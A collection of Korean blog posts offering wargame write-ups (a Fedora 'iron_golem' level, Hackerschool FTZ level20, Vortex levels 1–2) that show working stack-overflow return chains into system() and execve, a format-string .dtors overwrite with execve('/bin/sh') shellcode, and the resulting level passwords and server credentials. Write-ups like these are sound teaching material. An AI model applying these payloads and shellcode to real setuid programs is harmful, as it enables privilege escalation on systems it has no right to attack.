aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÀu

sh: 9ÛôþFÛôþ: command not found

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\xc0\x07\x75"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÀu

sh: 9»öþF»öþ: command not found

Segmentation fault (core dumped)

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\xc0\x07\x75"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÀu

sh: 9kôþFkôþ: command not found

Segmentation fault (core dumped)

[gate@Fedora_1stFloor ~]$


무언가가 실행 된 것을 볼 수 있으나 지정된 프로그램이나 명령어가 아니므로 command not found 가 뜨고 있다. 

그리고 그 값이 계속 변한다. 이유인 즉 아직 system 함수의 인자로 쓸 값이 Random 한 스택영역에 있기 때문이다.


우리는 이를 해결하기 위해서 스택 영역을 벗어나야 한다. 

그 중 한 방법으로 ret 의 값으로 다시 ret 주소를 넣고, 그 ret주소에는 다시 ret 주소를 넣는 방식을 사용하여 eip를 계속 올려내는 방법이 있다. 


그방법을 써서 고정된 영역으로 인자값을 옴겨 보도록 하겠다.


0x08048441 <main+113>:  ret

0x08048442 <main+114>:  nop

0x08048443 <main+115>:  nop

End of assembler dump.

(gdb)


GDB 의 disass 를 통하여 RET 의 주소값은 0x08048441 이라는 것을 알 수 있고, 이를 이용하여 위에 설명 했던 방식으로 

페이로드를 짜보자.d



[buffer    264   ]  [sfp   = 4      ] [ RETURN ] [argc ]

[buffer = a*264 ] [sfp = aaaa] [ ret = &ret ]

                                                     [ ret= &ret ]

                                                               [ret = & ret ] ......

                                                                                      [system() ] [   ]  [  인자값 ] 

                                                                                                                ln - s symbolic_link


 



[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\x41\x84\x04\x08"x2,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAÀu

sh: ‹Uðƒì‰Á1À…Òt                      eô[^_]ËMè‹@·H‹Žˆ: command not found

Segmentation fault (core dumped)ÿu‹Mä‰

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\x41\x84\x04\x08"x2,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAÀu

sh: ‹Uðƒì‰Á1À…Òt                      eô[^_]ËMè‹@·H‹Žˆ: command not found

Segmentation fault (core dumped)ÿu‹Mä‰

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\x41\x84\x04\x08"x2,"\xc0\x07\x75\x00"'`



보면 RET을 두번만 호출 하였는데도 같은 값이 출력 됨을 확인 할 수 있다. 


이녀석들을 전부다 인자로 만들어줘야 하나 이는 너무 길어보이므로 3번 더 RET을 덮어 보겠다. 



[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\x41\x84\x04\x08"x5,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAÀu

sh: íƒ: No such file or directory

Segmentation fault (core dumped)

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\x41\x84\x04\x08"x5,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAÀu

sh: íƒ: No such file or directory

Segmentation fault (core dumped)

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\x41\x84\x04\x08"x5,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAÀu

sh: íƒ: No such file or directory

Segmentation fault (core dumped)

[gate@Fedora_1stFloor ~]$


훨씬 짧아 졌다. 이 값의 헥사값을 보기 위해서 2> 2번 오류로 저장해보자. 

 

[gate@Fedora_1stFloor ~]$ xxd r1.txt

0000000: 7368 3a20 6161 6161 3a20 4e6f 2073 7563 6820  sh: ..: No such

0000010: 6669 6c65 206f 7220 6469 7265 6374 6f72  file or director

0000020: 790a   



3a 는 : 을 의미하는 헥사 코드이다. 73 은 s 68은 h 이다 20은 공백이므로  그 사이 값인 6161 6161 이 인자값으로 들어 간 값이라는 것을 확인해 줄 수 있다. 

이를 심볼릭 링크로 걸어 보겠다. 





 [gate@Fedora_1stFloor ~]$ ln -s symbolic_link `perl -e 'print "\x61\x61\x61\x61"'`

[gate@Fedora_1stFloor ~]$ ls
(???  ???  core.7364   iron_golem.c  r1.txt  result1.txt  result.txt      aaaa       sh    shell    symbolic_link    ZY??$??
??    ?    iron_golem  iron_golen    result  result2.txt  r[gate@Fedora_1stFloor  sh.c  shell.c  symbolic_link.c  ZY??$??:
[gate@Fedora_1stFloor ~]$ pwd
/home/gate
[gate@Fedora_1stFloor ~]$ export PATH = $PATH:/home/gate
-bash: export: `=': not a valid identifier
-bash: export: `/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/gate/bin:/home/gate': not a valid identifier
[gate@Fedora_1stFloor ~]$ export PATH=$PATH:/home/gate
[gate@Fedora_1stFloor ~]$ `perl -e 'print " \x61\x61\x61\x61"'`
sh-3.00$ exit
exit
[gate@Fedora_1stFloor ~]$



공격!


[gate@Fedora_1stFloor ~]$ ./iron_golem  `perl -e 'print "a"x268,"\x41\x84\x04\x08"x5,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAÀu

sh-3.00$ id

uid=500(gate) gid=500(gate) groups=500(gate) context=user_u:system_r:unconfined_t

sh-3.00$


여기까지 왔는데 UID가 상승하지 않았다. 
sh-3.00$
이유인 즉슨 system() 함수는 내부 루틴중에 geteuid 를 재설정 해주는 부분이 있기 때문에 이를 유지 할 수 없다. 따라서 system 함수의 주소값 대신에 execve 주소값을 찾아 줘야 한다. 

(gdb) p execve

$1 = {<text variable, no debug info>} 0x7a5490 <execve>

(gdb)


그리고 이 주소값에 프롤로그 부분을 건너 뛰기 위해서 1을 더해준다. 

 [gate@Fedora_1stFloor ~]$ strace ./iron_golem  `perl -e 'print "a"x268,"\x41\x84\x04\x08"x2,"\x91\x54\x7a\x00"'`
execve("./iron_golem", ["./iron_golem", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAA‘Tz"], [/* 20 vars */]) = 0
uname({sys="Linux", node="Fedora_1stFloor", ...}) = 0
brk(0)                                  = 0x9d16000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=28384, ...}) = 0
old_mmap(NULL, 28384, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf6ff9000
close(3)                                = 0
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0 \17s\000"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1512400, ...}) = 0
old_mmap(0x71c000, 1207532, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x71c000
old_mmap(0x83d000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x120000) = 0x83d000
old_mmap(0x841000, 7404, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x841000
close(3)                                = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf6ff8000
mprotect(0x83d000, 8192, PROT_READ)     = 0
mprotect(0x718000, 4096, PROT_READ)     = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xf6ff8940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xf6ff9000, 28384)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf6fff000
write(1, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 280aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAA‘Tz
) = 280
execve("<íƒ", [0], [/* 1 var */])       = -1 ENOENT (No such file or directory)
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++


이 내용을 텍스트 파일로 저장하고 헥사 값으로 열어보자. 


[gate@Fedora_1stFloor ~]$ strace ./iron_golem  `perl -e 'print "a"x268,"\x41\x84\x04\x08"x2,"\x91\x54\x7a\x00"'` 2> res00.txt
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAA‘Tz
[gate@Fedora_1stFloor ~]$xxd res00.txt

execve 가 호출된 부분만을 보면 아래와 같다. 

[gate@Fedora_1stFloor ~]$ xxd res00.txt  | grep cve
0000000: 6578 6563 7665 2822 2e2f 6972 6f6e 5f67  execve("./iron_g
0000760: 7865 6376 6528 223c ed83 222c 205b 305d  xecve("<..", [0]
[gate@Fedora_1stFloor ~]$


0x22 가 " 를 의미하는 헥사 코드 이므로 그 사이에 있는 3c ed 83  헥사 코드가 인자 값으로 들어가 있는 부분이다.

이를 다시 심볼릭 링크걸어보고 공격해 보자. 


[gate@Fedora_1stFloor ~]$ ln -s symbolic_link `perl -e 'print "\x3c\xed\x83"'`

[gate@Fedora_1stFloor ~]$ ./iron_golem  `perl -e 'print "a"x268,"\x41\x84\x04\x08"x2,"\x91\x54\x7a\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAA‘Tz

[501]

sh-3.00$ id

uid=501(iron_golem) gid=500(gate) groups=500(gate) context=user_u:system_r:unconfined_t

sh-3.00$

sh-3.00$ my-pass
euid = 501
blood on the fedora
sh-3.00$



















Posted by k1rha
2012. 4. 1. 16:15

동아리 교육용으로 만들다가 포스팅 해봅니다. 

Hackerschool FTZ level20

Passwd: we are just regular guys

[level20@localhost level20]$ ls -l

합계 24

-rwsr-sr-x 1 clear clear 11777 6¿ù 18 2008 attackme

-rw-r----- 1 root level20 133 5¿ù 13 2002 hint

drwxr-xr-x 2 root level20 4096 2¿ù 24 2002 public_html

drwxrwxr-x 2 root level20 4096 2¿ù 17 10:56 tmp

[level20@localhost level20]$ cat hint

 

#include <stdio.h>

main(int argc,char **argv)

{ char bleh[80];

setreuid(3101,3101);

fgets(bleh,79,stdin);

printf(bleh);

}

 

[level20@localhost level20]$

 


Bleh 80바이트 만큼 잡혀있고 표준 입출력(stdin)으로 79바이트 만큼 받아내므로 지금까지 해왔던 Overflow 를 발생 시키는 부분은 없다.

이 문제에서 다른 문제와 좀 다른 부분이 있다면 printf 의 사용법은 우리가 보통 어떠한 값으로 출력해 줄지 포멧을 정하고 그에 맞는 변수를 넣어 출력 시켜 주었지만, 이번의 경우는 char 변수를 그냥 대입하므로 출력 시켜 주었다.


그럼에도 불과 하고 잘 출력이 된다.

이제부터 언급할 부분은 이러한 부분을 이용하는 Formet String Bug 라는 공격 기법이다.

이 공격 기법에 대한 언급은 별도의 부록에서 다루도록 하겠다.

디버깅을 시도해보자.

위와같이 main 함수가 사라져 있는 것을 볼수 있고 대신 그위치에 start_main의 심볼이 있다.

그것을 열어보면 다른 함수들을 호출 한다. 이러한 경우는 정상적으로 gdb 만으로 분석하기가 힘들어 진다. 때문에 올리 디버거를 이용하여 좀 이용해보도록하자.

바이너리코드를 복사하여 자신의 서버에 옴기는 부록을 참조하여 해당파일을 자신의 컴퓨터로 옴겨 IDA로 연다. 하지만 역시나 스트립된 파일이기 때문에, 우리는 hex-ray를 통한 정확한 파일 복구를 할 수가 없다.

이때 중요한 심볼부분이 start 부분이다.



위 그림에서보면 start라는 심볼을 들어가보도록 하자.

아래쪽을 보면 __libc_start_main 바로 위에 주소가 메인이다.

더블클릭을 하여 들어간뒤 rename 을 해주도록 하자그리고 hey-ray를 이용하여(F5) 코드를 복구하면 다음과 같은 코드를 얻을 수 있다.

위처럼 코드가 나온다.

포멧스트링 버그가 있는 부분도 나오고, stdin 으로 정확히 출력된 값도 나온다.

 우선 메모리 구조를 보면

[  printf  ] [ bleh ] [  dummy  ][  sfp  ] [  ret  ] [ argc ] [ argv ] [ env ]  

^(esp)

Printf로 표준 입출력이 생길 때 esp printf 의 시작지 점인 곳에 위치하게 된다.

이때 메모리 주소값을 16진수로 출력시켜 보자.

[level20@ftz level20]$ ls

attackme  hint  public_html  tmp

[level20@ftz level20]$ ./attackme

aaaa%x

aaaa4f

[level20@ftz level20]$

[level20@ftz level20]$ ./attackme

aaaa%x%x

aaaa4f40152460

[level20@ftz level20]$ ./attackme

aaaa%x%x

aaaa4f40152460

[level20@ftz level20]$ ./attackme

aaaa%x%x%x

aaaa4f4015246040098500

[level20@ftz level20]$ ./attackme

aaaa%x%x%x%x%x

aaaa4f40152460400985006161616178257825

[level20@ftz level20]$ ./attackme

 

여기서 aaaa 3개를 입력하고 난뒤의 4F stdin의 크기이다. 0x4f 79이므로 79개만큼 출력한다는 뜻이다. 그리고나서 뒤에 40152460 40098500 가 존재하고 뒤부터 0x61616161이 반복되는데 이것은 우리가 입력하였던 AAAA 가 존재한다. 그 뒤에 40152460 40098500 을 알아보기 위해 임의의 프로그램 하나를 제작해보자.

그냥 단순히 printf를 출력하는 구문이면 충분하다.

[level20@ftz tmp]$ make test

cc     test.c   -o test

./t[level20@ftz tmp]$

[level20@ftz tmp]$

[level20@ftz tmp]$ ./test

a[level20@ftz tmp]$

[level20@ftz tmp]$ gdb test

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disass main

Dump of assembler code for function main:

0x08048328 <main+0>:    push   %ebp

0x08048329 <main+1>:    mov    %esp,%ebp

0x0804832b <main+3>:    sub    $0x8,%esp

0x0804832e <main+6>:    and    $0xfffffff0,%esp

0x08048331 <main+9>:    mov    $0x0,%eax

0x08048336 <main+14>:   sub    %eax,%esp

0x08048338 <main+16>:   sub    $0xc,%esp

0x0804833b <main+19>:   push   $0x80483f8

0x08048340 <main+24>:   call   0x8048268 <printf>

0x08048345 <main+29>:   add    $0x10,%esp

0x08048348 <main+32>:   leave

0x08048349 <main+33>:   ret

0x0804834a <main+34>:   nop

0x0804834b <main+35>:   nop

End of assembler dump.

(gdb) b main+33

Junk at end of arguments.

(gdb) b *main+33

Breakpoint 1 at 0x8048349

(gdb) r

Starting program: /home/level20/tmp/test

 

Breakpoint 1, 0x08048349 in main ()

(gdb) x/x 40152460

0x264ad8c:      Cannot access memory at address 0x264ad8c

(gdb) x/x 0x40152460

0x40152460 <_IO_2_1_stdin_>:    0xfbad2088

(gdb) x/x 0x40098500

0x40098500 <strrchr>:   0xc0315657

(gdb)

아래부분을 보면 0x40152460 stdin 을 나타내는 주소이고 0x40098500 strrchr에 관련된 함수이다. 이제 어떤것을 의미하는지 알았으니 메모리 구조를 다시 보도록하자.

Aaaa 를 하고 %x 를 출력시키면 메모리 구조는 아래와 같다

 

[  printf  ][ stdin ][ strrchr ][ bleh  ] [  dummy  ][  sfp  ] [  ret  ] [ argc ] [ argv ] [ env ]  

                             AAAA%x(이부분에서 printf 부분 다음 부분의 주소값부터 출력)

위 처럼 표현 될 수 있다.

 

 

PART 2  Format String Attack theory.

부록으로 뺄지 말지 고민중

시스템해킹의 특징은 자신이 원하는 메모리 주소에 자신이 원하는 값을 넣어서 원하는 위치에 도달하게 하는 공격이라는 것이다.

포멧스트링 역시 원하는 메모리 위치에 원하는 값을 넣는 것이 목적이 된다.

우선 기본적으로 사람 들이 알고 있는 서식 %d %lf %s %c 같은 부분은 생략하고 남들이 잘 활용하지 않는 %n 에 대해서 설명해 보겠다.  %n %n이 나오기 전에 출력된 자리수를 계산하여 스택의 다음 4바이트에 있는 내용을  주소로 여기고 그 주소에 계산한 자리수, ,숫자를 입력한다.

만약 AAAA%n을 넣었다고 하면 0x41414141 4라는 숫자를 넣게 된다.

[printf ] [ buff ] [sfp][ret]

        Aaaa%n(printf를 호출하면서 buffer의 시작 주소의 값을 가리킨다.)

 

자 이제 우리가 자주사용하던 %c 를 이용하여 숫자도 조절해보자, %c 란 값은 CPU에 상관없이 1byte의 문자이다. 그리고 %100c 하면 100개의 문자열이므로 100이된다. 포멧스트링공격의 관점에서보면 %100c%n 을하면 100이라는 숫자를 넣는다는 이론이 된다.

우리는 이제 원하는 메모리주소 0x41414141(AAAA)에 원하는 값 %100c 를 넣을 수 있게 된다는 이론이 된다.

 

공격함에 앞서 포멧스트링에서 신경써야할 문제점 3가지에 대해서 언급 해보 도록 하겠다.

첫번째 문제는 이 %c로 크기를 조절해 준다고 하여도 %c라는서식문자가 포함되어 있기 때문에 출력 시킬 메모리주소 4byte도 포함되어야 한다.

두번째 문제는 쉘코드 주소를 입력 할때도 10진수로 바꿔서 입력하여아 한다. 하지만 정수를 이용해서 0xffffffff 같은 큰 숫자를 지정해 줄수 없다. 때문에 쉘코드 주소를 2바이트씩 나누어서 입력하는 방법을 택해야 한다.

예를들면 쉘코드 주소가 0xbffffab8 이라면 bfff(64184) fab8(49151)로 나누어서 각자 10진수로 바꿔 입력해야한다.

만약 ret주소가 0x08049594 라면 0x08049594 2byte(fab8)을 입력하고 이제 2바이트 증가한 0x08049596 에 나머지 2byte(bfff)을 입력하는 방식으로 하는 것이다.

 

마지막 세번째 문제는 메모리를 출력시키는 부분까지 서식문자를 %x를 통하여 bleh까지 주소 값을 옮겨야 한다는 것이다.

 

이제 공격을 시도해보겠다.

첫번째는 디버깅이 안되는 (strip)된 상태에서 return address 를 찾아주는 일이다.

우리는 .dtors 라는 것에 대해 공부할 필요가 있다프로그램이 시작할때는 .ctors 라는 것을 거치고 프로그램이 종료될 시에는 .dtors 라는 것을 거친다. 이는 프롤로그와 에필로그를 담당 하는 부분이다.

Objdump를 이용하여 .dtors 부분을 ret 주소처럼 사용 해보자.

[level20@localhost level20]$ objdump -h attackme | grep .dtors

18 .dtors 00000008 08049594 08049594 00000594 2**2

[level20@localhost level20]$

 

 0x08049594 이 .dtors 를 호출하는 부분이므로 4바이트 뒷부분에 덮어  씌워서 시작하자마자 실행될 수 있도록 하면 된다.


AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n%50503c%n

원래 쉘코드의 주소값을 10진수로 바꾸면 64184와 49151이다.

%n은 자신이 나오기 전까지 모든 자릿수를 계산하기 때문에

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x 에 대한 자릿수까지 계산하게 됩니다. 이들의 자릿수는 (4 + 4 + 4 +4 +8 + 8 + 8) 40이므로64184에서 40을 빼 %64144c로 한 것이다.

50503은 역시 원래 49151(bfff)인데. 여기에서도 또한 %n은 자신이 나오기 이전의 모든 자릿수를 계산하므로 AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n에 대한 자릿수도 계산하게 되고 이에 해당하는 자릿수는 64184이므로 이를 빼줘야 한다.

그런데 49151(bfff)에서 빼게 되면 음수가 되므로 앞에 1을 붙인 값 (1bfff)를 10진수로 변환한 값(114687)에서 64184를 빼서 %50503c가 된다.

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n%50503c%n


 

[level20@localhost level20]$ export a=`perl -e 'print "\x90"x1000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

[level20@localhost level20]$ cd tmp

[level20@localhost tmp]$ cat > getshell.c

#include<stdio.h>

 

int main(int argc,char **argv){

 

printf("%x\n",getenv(argv[1]));

 

return 0;

}

 

[level20@localhost tmp]$ gcc -o getshell getshell.c

[level20@localhost tmp]$ ./getshell a

bffffe31

[level20@localhost tmp]$

 

 

[level20@localhost level20]$ (perl -e 'print "aaaa\x98\x95\x04\x08aaaa\x9a\x95\x04\x08%8x%8x%8x%65045c%n%49602c%n"';cat) | ./attackme

 

id

uid=3101(clear) gid=3100(level20) groups=3100(level20)

my-pass

TERM environment variable not set.

 

clear Password is "i will come in a minute".

웹에서 등록하세요.

 

* 해커스쿨의 모든 레벨을 통과하신 것을 축하드립니다.

당신의 끈질긴 열정과 능숙한 솜씨에 찾사를 보냅니다.

해커스쿨에서는 실력있는 분들을 모아 연구소라는 그룹을 운영하고 있습니다.

이 메시지를 보시는 분들 중에 연구소에 관심있으신 자유로운 양식의 가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다


그림을 잘 보면 위에 수많은 놉코드로 인하여 공백이 생긴뒤 명령어가 실행되고 있다는 것을 볼 수 있다.

 

 




Posted by k1rha
2012. 3. 31. 04:08

[vortex] level2 -> level3


IP : 178.79.134.250

PORT : 22

ID : vortex2 

PW : 23anbT\rE



Level Goal:
Create a special tar file
Helpful Reading Material
GNU tar manual
Code listing (vortex2.c)
 1 #include <stdlib.h>
 2 #include <stdio.h>
 3 #include <sys/types.h>
 4 
 5 
 6 int main(int argc, char **argv)
 7 {
 8         char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar", argv[1], argv[2], argv[3] };
 9         execv(args[0], args);
10 }




char  *buff[] = {"bin/tar","cf","/tmp/ownership.$$.tar",argv[1],argv[2],argv[3]};
execv( buff[0],buff);


즉 인자값으로 들어가는 값들을 /tmp/ownership.$$.tar 로 압축 해준다. 
그렇담 패스워드가 들어있는 파일을 압축을해 보자. 

/etc/vortex_pass 로 들어가서 
vortex3 패스워드를 얻어내면된다.

공격구문은 아래와 같다. 




KEY = 64ncXTvx#


'War_Game > Vortex' 카테고리의 다른 글

[vortex] level3 -> level4  (0) 2013.10.10
[Vortex] level0 -> level1  (0) 2013.07.29
[vortex] level1 -> level2  (0) 2012.03.29
Posted by k1rha
2012. 3. 29. 16:22
IP : 178.79.134.250
PORT : 22
ID : vortex1 
PW : Gq#qu3bF3

취약한 파일을 실행하면 아래와 같이 16진수의 어떤 값들을 뿌려준다.  input을 바꾸어 가면서 여러번 입력해 보았지만 결과값은 전부 같은 것이 출력 되는것 같다. 

setuid 가 걸린 파일은 gdb로 분석이 안되므로 /tmp/ 디렉토리(쓰기가 가능한 디렉토리) 에 복사하여 setuid 를 없애고 


k1rha@ubuntu:~/zANruhPR_public_html/vortex/vortex1$

이후 파일을 다운받아 IDA 의 헥스레이를 이용하여 간단하게 복구를 해보았다. 

코드는 다음과 같다 . 



while 문을 통해 글자를 한글자씩 받는다. 

그리고 그 문자열이 -1 (EOF) 일때까지 돌리고 EOF이면 종료 된다. 

문자열이 헥사코드 10 (\n) 이면 버퍼의 주소값부터 512개를 출력 시킨다. 

그리고 문자열중 \\ (헥사코드 c5 를 문자열로 바꿈)이 나오면 포인터를 하나 감소시킨다(문자이므로 1바이트 임)


그리고 그외에는 그 포인터의 값이 256 값일때 (0xff와 & 연산한 부분의 값이 ) 0xCA 와 같을때 setuid 를 셋팅하고 /bin/bash를 실행해 준다. 때문에 ptr을 257번 빼준뒤 ca를 넣어서 256값이 ca가 되도록 해줘야 한다. 

PTR은 

Payload 를 그려보면


                      

